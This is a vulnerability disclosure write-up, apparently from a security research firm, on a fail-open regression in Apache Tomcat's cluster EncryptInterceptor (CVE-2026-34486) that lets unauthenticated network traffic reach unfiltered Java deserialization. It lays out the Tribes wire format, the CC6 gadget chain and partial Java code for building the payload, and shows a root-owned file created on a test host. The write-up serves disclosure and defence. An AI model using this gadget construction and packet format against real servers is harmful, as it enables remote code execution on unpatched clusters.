Striga
← Back to researchFail Open, Game Over: Turning a One-Line Tomcat Fix into Unauthenticated RCE

Striga uncovered a fail-open regression in Apache Tomcat's cluster encryption that turns a one-line code change into unauthenticated Remote Code Execution.

Bartłomiej Dmitruk

In February 2026, someone reported a padding oracle vulnerability in Apache Tomcat's cluster encryption. The fix moved one line of code. That line turned the encryption layer from fail-closed to fail-open, and opened a direct path to unauthenticated Remote Code Execution on every cluster member.

During a security assessment using Striga, we found the regression, built a working exploit, and reported it to the Apache security team. It was assigned CVE-2026-34486.

How Tribes Clustering Works

Tomcat's Tribes framework handles session replication across a cluster of Tomcat instances. When a user modifies their HTTP session on one node, the change is serialized and broadcast to other nodes over TCP.

The receiver listens on port 4000 by default. It binds to the primary network interface, not localhost. Messages use a simple wire format: a 7-byte header (FLT2002), a 4-byte length, the payload, and a 7-byte footer (TLF2003). No cryptographic protection on the envelope. No authentication. Any host that can reach the port can send messages.

The EncryptInterceptor sits in the channel's interceptor chain. On the receive path, it decrypts incoming messages before they reach GroupChannel.messageReceived(), where the payload is deserialized via XByteBuffer.deserialize(). That method creates a bare ObjectInputStream with no ObjectInputFilter and calls readObject().

The security model is simple: if the EncryptInterceptor is configured, only messages encrypted with the shared key should reach the deserialization layer. Everything else should be dropped.

The Padding Oracle Fix That Broke Everything

CVE-2026-29146, reported on February 22, identified that the EncryptInterceptor's default algorithm (AES/CBC/PKCS5Padding) is vulnerable to a padding oracle attack. The fix, committed on March 13 (commit 6d955cce on the 11.0.x branch), restructured the encryption manager to support additional algorithms and encourage migration to AES/GCM/NoPadding.

During that refactoring, a single structural change slipped through.

Before the fix, EncryptInterceptor.messageReceived() looked like this:

java/org/apache/catalina/tribes/group/interceptors/EncryptInterceptor.java (Tomcat 11.0.18)

public void messageReceived(ChannelMessage msg) {
    try {
        byte[] data = msg.getMessage().getBytes();
        data = encryptionManager.decrypt(data);
        XByteBuffer xbb = msg.getMessage();
        xbb.clear();
        xbb.append(data, 0, data.length);
        super.messageReceived(msg);
    } catch (GeneralSecurityException gse) {
        log.error(sm.getString("encryptInterceptor.decrypt.failed"), gse);
    }
}

super.messageReceived(msg) is inside the try block. If decryption throws, the catch block logs the error and the method returns. The message is dropped. Fail-closed.

After the fix:

java/org/apache/catalina/tribes/group/interceptors/EncryptInterceptor.java (Tomcat 11.0.20)

public void messageReceived(ChannelMessage msg) {
    try {
        byte[] data = msg.getMessage().getBytes();
        data = encryptionManager.decrypt(data);
        XByteBuffer xbb = msg.getMessage();
        xbb.clear();
        xbb.append(data, 0, data.length);
    } catch (GeneralSecurityException gse) {
        log.error(sm.getString("encryptInterceptor.decrypt.failed"), gse);
    }
    super.messageReceived(msg);
}

The commit diff tells the whole story:

             xbb.clear();
             xbb.append(data, 0, data.length);
 
-            super.messageReceived(msg);
         } catch (GeneralSecurityException gse) {
             log.error(sm.getString("encryptInterceptor.decrypt.failed"), gse);
         }
+        super.messageReceived(msg);
     }

super.messageReceived(msg) is now after the catch block. It executes unconditionally. When decryption fails, the catch logs the error, and then the original, unmodified, attacker-controlled bytes are forwarded up the interceptor chain. They reach GroupChannel.messageReceived(), which calls XByteBuffer.deserialize(): a bare ObjectInputStream.readObject() with no class filtering.

The send path in the same class tells the story. sendMessage() throws ChannelException on encryption failure, preventing unencrypted outbound messages. Fail-closed on send, fail-open on receive. The asymmetry is accidental.

The Attack

An attacker with network access to port 4000 sends a raw, unencrypted Tribes protocol message containing a serialized Java object. The EncryptInterceptor tries to decrypt it, fails (AEADBadTagException for GCM, BadPaddingException for CBC), logs the error, and forwards the message anyway.

The message reaches XByteBuffer.deserialize(). With gadget classes on the server classpath, the deserialized object triggers arbitrary code execution.

The Tribes wire protocol is trivial to construct: seven bytes of header, four bytes of length, a ChannelData structure containing a fake member address and the serialized payload, seven bytes of footer. The envelope has no cryptographic protection of its own.

The receiver side is equally permissive. NioReceiver accepts any TCP connection, and ChannelCoordinator.accept() returns true unconditionally. There is no membership verification on the data channel.

The Wire Protocol

The ChannelData envelope wraps the serialized Java object. It contains an options field (set to 0 to avoid the BYTE_MESSAGE code path), a timestamp, a unique ID, a fake member address using the TRIBES_MBR_BEGIN/TRIBES_MBR_END framing, and the serialized message bytes.

The member address follows the MemberImpl binary format: TRIBES-B\x01\x00 header, a 4-byte body length, then alive timestamp, port, secure port, UDP port, host bytes, command, domain, unique ID, payload, and a TRIBES-E\x01\x00 footer. The receiver parses this but does not validate that the claimed sender is a known cluster member.

Using Striga, we wrote a Python script that constructs the full Tribes packet: the FLT2002 framing, the ChannelData with a synthetic member address, and the serialized payload as the message body. The script connects to port 4000, sends the packet, and exits. No library dependencies beyond the standard library.

The Gadget Chain

The classic Java deserialization gadget chains from ysoserial (CommonsCollections1 and CC3) rely on AnnotationInvocationHandler as the deserialization entry point. JDK 8u72 (December 2015) broke these chains: AnnotationInvocationHandler.readObject() was changed to copy member values into a new LinkedHashMap instead of operating on the original map, so a LazyMap passed as memberValues no longer receives the get() call that triggers the transformer chain. CC6 sidesteps this entirely by using HashSet as the entry point instead, and works on all JDK versions including 17 and 21.

The chain works because HashSet.readObject() rebuilds its internal HashMap during deserialization. For each element, it calls hashCode(). If the element is a TiedMapEntry, its hashCode() delegates to TiedMapEntry.getValue(), which calls get() on the wrapped map. If that map is a LazyMap, and the key is not present, LazyMap.get() invokes its Transformer to produce a value. The transformer is a ChainedTransformer that walks through ConstantTransformer(Runtime.class), InvokerTransformer("getMethod", ...), InvokerTransformer("invoke", ...), and InvokerTransformer("exec", ...), reaching Runtime.getRuntime().exec().

The full chain:

HashSet.readObject()
  HashMap.put(key, ...)
    TiedMapEntry.hashCode()
      LazyMap.get("poc")
        ChainedTransformer.transform()
          ConstantTransformer -> Runtime.class
          InvokerTransformer  -> Runtime.getMethod("getRuntime")
          InvokerTransformer  -> Runtime.getRuntime()
          InvokerTransformer  -> runtime.exec(cmd)

Building this payload has a subtlety. If you naively add the TiedMapEntry to the HashSet, the LazyMap transformer fires during serialization, not just deserialization. The gadget would trigger on the attacker's machine and then arrive at the target already "spent" with the key present in the map, so LazyMap.get() would return the cached value instead of calling the transformer again.

The standard trick: wire up the HashSet with a dummy transformer first (a ConstantTransformer that returns 1), add the entry, then use reflection to swap in the real transformer chain after the HashSet.add() call. Also remove the key from the inner map so it is absent during deserialization, forcing LazyMap.get() to invoke the transformer:

Map backingMap = new HashMap();
 
ChainedTransformer fakeChain = new ChainedTransformer(
    new Transformer[]{ new ConstantTransformer(1) });
 
Map lazyMap = LazyMap.decorate(backingMap, fakeChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "poc");
 
HashSet set = new HashSet();
set.add("foo");
 
// Reflection: replace "foo" with the TiedMapEntry
// inside HashSet's internal HashMap table
Field f = HashSet.class.getDeclaredField("map");
f.setAccessible(true);
HashMap hsMap = (HashMap) f.get(set);
// ... swap the key in hsMap's table array via reflection ...
 
// The reflection swap triggered LazyMap.get("poc"),
// which inserted "poc" into backingMap. Remove it so
// deserialization re-triggers the transformer.
backingMap.remove("poc");
 
// NOW swap the real transformer chain in
Field tf = ChainedTransformer.class.getDeclaredField("iTransformers");
tf.setAccessible(true);
tf.set(fakeChain, realTransformers);

The reflection into HashSet.map and HashMap.table requires --add-opens java.base/java.util=ALL-UNNAMED on Java 9+. This is a compile-time concern for the attacker, not a runtime constraint on the target.

The chain requires Commons Collections 3.x on the server classpath. In our test environment, we placed commons-collections-3.1.jar in $CATALINA_HOME/lib/. In production deployments, gadget libraries are commonly present through shared classloader configuration or bundled in applications that use Spring, Hibernate, or other frameworks that pull in transitive dependencies with known gadget classes.

On a default Tomcat classpath without third-party libraries, the deserialization still occurs (provable via URLDNS DNS callback), but a full RCE chain requires at least one gadget library.

Execution

A sender script wraps the serialized payload in the Tribes wire format and sends it to port 4000.

Terminal showing RCE confirmed, /tmp/pwned created, Tomcat log with decrypt failure

The Tomcat log shows a single SEVERE entry:

SEVERE [Tribes-Task-Receiver[Catalina-Channel]-1]
  org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived
  Failed to decrypt message
    javax.crypto.AEADBadTagException: Tag mismatch

No deserialization error follows. The gadget chain executes silently. Inside the container:

$ ls -la /tmp/pwned
-rw-r----- 1 root root 0 Mar 25 14:13 /tmp/pwned

One decrypt failure in the log, one file created as root on disk. An unauthenticated TCP connection to arbitrary command execution, through an interceptor that was supposed to drop anything it could not decrypt.

Affected Versions

The regression was introduced in a single commit applied to all three active branches on March 13, 2026:

BranchVulnerableLast safeFix commit
11.0.x11.0.2011.0.181fab40cc
10.1.x10.1.5310.1.52776e12b3
9.0.x9.0.1169.0.115776e12b3

Tomcat 8.5.x is not affected. The EncryptInterceptor does not exist in that branch.

The Fix

Move super.messageReceived(msg) back inside the try block.

Fixed in Tomcat 11.0.21, 10.1.54, and 9.0.117, released April 4, 2026.

Impact

Any Tomcat deployment using Tribes clustering with EncryptInterceptor on the affected versions is vulnerable. The attacker needs TCP access to port 4000 (or whichever port the receiver is configured on) and gadget classes on the server classpath. No authentication, no user interaction, no special timing.

Administrators who configured EncryptInterceptor did so because they wanted to protect their cluster communication. The irony is that the fix for a cryptographic weakness in that same component is what made the bypass possible. The encryption layer they trusted was silently passing through every message that failed decryption.

In Kubernetes deployments without NetworkPolicy, any pod in the same namespace can reach port 4000 on every Tomcat cluster member.

Timeline

DateEvent
2026-02-22CVE-2026-29146 (padding oracle) reported to Apache
2026-03-13Fix committed, introducing the fail-open regression
2026-03-20Tomcat 9.0.116 released with the fix
2026-03-25Striga identifies the regression during security assessment
2026-03-26CVE-2026-34486 reported to Apache
2026-03-30Fix committed across all branches
2026-04-04Tomcat 11.0.21 / 10.1.54 / 9.0.117 released
2026-04-09CVE-2026-34486 made public

References